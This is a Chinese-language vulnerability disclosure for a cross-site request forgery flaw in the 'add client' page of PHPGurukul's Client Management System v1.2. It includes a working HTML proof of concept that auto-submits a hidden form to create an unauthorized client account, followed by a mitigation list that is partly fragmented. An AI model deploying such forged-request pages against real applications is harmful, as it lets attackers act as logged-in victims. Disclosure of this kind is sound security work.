项目名称与仓库 URL : https://phpgurukul.com/client-management-system-using-php-mysql/
漏洞名称 : 跨站请求伪造(CSRF)
受影响版本 : V1.2
由 PHPGurukul 开发的客户管理系统的“添加客户”功能中存在跨站请求伪造(CSRF)漏洞。CSRF 是一种攻击方式,攻击者诱导已认证用户向 Web 应用程序提交恶意请求,从而可能导致以该用户身份执行未授权操作。在本报告中,我们演示了如何利用 CSRF 在 客户管理系统 中创建虚假用户,并提出缓解策略。
使用提供的凭据登录客户管理系统。



以下是针对 CSRF 攻击的 HTML PoC:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



为防止 CSRF 攻击,请实施以下措施:
SameSite=Strict 或 SameSite=Lax 属性。POST,避免处理带有副作用的 GET 请求。本报告演示了如何利用 CSRF 漏洞在 客户管理系统 中创建未经授权的客户。实施上述缓解策略将有助于保护应用程序免受此类攻击。